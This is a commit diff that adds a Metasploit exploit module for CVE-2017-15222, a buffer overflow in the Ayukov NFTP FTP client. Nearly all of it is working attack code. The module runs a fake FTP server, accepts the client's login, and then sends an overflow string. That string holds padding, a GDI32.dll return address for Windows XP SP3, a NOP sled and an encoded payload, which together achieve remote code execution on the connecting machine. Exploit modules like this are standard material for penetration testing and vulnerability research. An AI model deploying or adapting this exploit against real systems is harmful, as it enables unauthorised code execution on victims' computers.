Create ayukov_nftp.rb

Author: DanielRTeixeira

modules/exploits/windows/ftp/ayukov_nftp.rb

@@ -0,0 +1,79 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::TcpServer
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Ayukov NFTP FTP Client < 2.0 Remote Buffer Overflow',
+      'Description'    => %q{
+          This module exploits a buffer overflow in the Ayukov NFTPD FTP client 2.0 and earlier allowing remote code execution.
+      },
+      'Author'   =>
+        [
+          'Berk Cem Göksel',  # Original exploit author
+          'Daniel Teixeira'   # MSF module author
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'CVE', 'CVE-2017-15222'],
+          [ 'EDB', '43025' ],
+        ],
+      'Payload'        =>
+        {
+          'BadChars' => "\x00\x01\x0a\x10",
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+    [ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
+        ],
+      'Privileged'     => false,
+      'DefaultOptions' =>
+        {
+    'SRVHOST' => '0.0.0.0',
+        },
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
+      ])
+  end
+
+  def on_client_connect(client)
+    return if ((p = regenerate_payload(client)) == nil)
+
+
+    # Let the client log in
+    client.get_once
+
+    user = "331 OK.\r\n"
+    client.put(user)
+
+    client.get_once
+    pass = "230 OK.\r\n"
+    client.put(pass)
+
+    sploit = "A"*4116
+    sploit << [target.ret].pack('V')
+    sploit << "\x90"*16
+    sploit << payload.encoded
+    sploit << make_nops(15000 - 4116 - 4 - 16 - payload.encoded.length)
+    sploit << "\r\n"
+  
+    client.put(sploit)
+
+    client.get_once
+    pwd = "257\r\n"
+    client.put(pwd)
+    client.get_once
+
+  end
+end